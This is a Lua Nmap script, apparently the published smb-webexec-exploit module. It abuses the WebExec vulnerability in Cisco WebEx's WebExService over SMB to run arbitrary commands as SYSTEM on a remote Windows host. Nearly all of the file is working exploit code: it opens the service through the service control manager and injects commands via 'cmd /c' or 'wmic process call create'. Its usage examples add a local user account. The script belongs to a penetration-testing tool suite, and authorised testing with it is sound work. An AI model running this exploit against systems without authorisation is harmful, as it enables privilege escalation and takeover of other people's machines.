1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
|
local msrpc = require "msrpc"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local shortport = require "shortport"
-- compat stuff for Nmap 7.70 and earlier
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit
description = [[
Attempts to run a command via WebExService, using the WebExec vulnerability.
Given a Windows account (local or domain), this will start an arbitrary
executable with SYSTEM privileges over the SMB protocol.
The argument webexec_command will run the command directly. It may or may not
start with a GUI. webexec_gui_command will always start with a GUI, and is
useful for running commands such as "cmd.exe" as SYSTEM if you have access.
References:
* https://www.webexec.org
* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
]]
---
-- @usage
-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_command=net user test test /add' -p139,445 <host>
-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_gui_command=cmd' -p139,445 <host>
--
-- @args webexec_command The command to run on the target
-- @args webexec_gui_command The command to run on the target with a GUI
--
-- @output
-- | smb-vuln-webexec:
-- |_ Vulnerable: WebExService could be accessed remotely as the given user!
--
-- | smb-vuln-webexec:
-- | Vulnerable: WebExService could be accessed remotely as the given user!
-- |_ ...and successfully started console command: net user test test /add
--
-- @see smb-vuln-webexec.nse
author = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit"}
portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")
local run_command = function(smbstate, service_handle, command)
stdnse.debug1("Attempting to run: " .. command)
return msrpc.svcctl_startservicew(smbstate, service_handle, strsplit(" ", "install software-update 1 " .. command))
end
action = function(host, port)
local webexec_command = stdnse.get_script_args("webexec_command")
local webexec_gui_command = stdnse.get_script_args("webexec_gui_command")
if not webexec_command and not webexec_gui_command then
return stdnse.format_output(false, "script-args webexec_command or webexec_gui_command is required to run this script")
end
local open_result
local close_result
local bind_result
local result
local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
if not status then
return stdnse.format_output(false, smbstate)
end
status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)
if not status then
smb.stop(smbstate)
return stdnse.format_output(false, bind_result)
end
local result, username, domain = smb.get_account(host)
if result then
if domain and domain ~= "" then
username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
end
end
-- Open the service manager
stdnse.debug1("Trying to open the remote service manager")
status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)
if not status then
smb.stop(smbstate)
return stdnse.format_output(false, open_result)
end
local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)
if open_status == false then
status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
smb.stop(smbstate)
if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
return stdnse.format_output(false, "WebExService is not installed")
elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
return stdnse.format_output(false, "WebExService could not be accessed by " .. username)
end
return stdnse.format_output(false, "WebExService failed to open with an unknown status: " .. open_service_result)
end
stdnse.debug1("Successfully opened a handle to WebExService")
local output = nil
if webexec_command then
status, result = run_command(smbstate, open_service_result['handle'], 'cmd /c ' .. webexec_command)
if not status then
output = "Failed to start the service: " .. result
else
output = "Asked WebExService to run " .. webexec_command
end
end
if webexec_gui_command then
-- If they run both, give the first one a second to finish
if webexec_command then
stdnse.sleep(1)
end
status, result = run_command(smbstate, open_service_result['handle'], 'wmic process call create ' .. webexec_gui_command)
if not status then
output = "Failed to start the service: " .. result
else
output = "Asked WebExService to run " .. webexec_gui_command .. " (with a GUI)"
end
end
status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
smb.stop(smbstate)
return output
end
|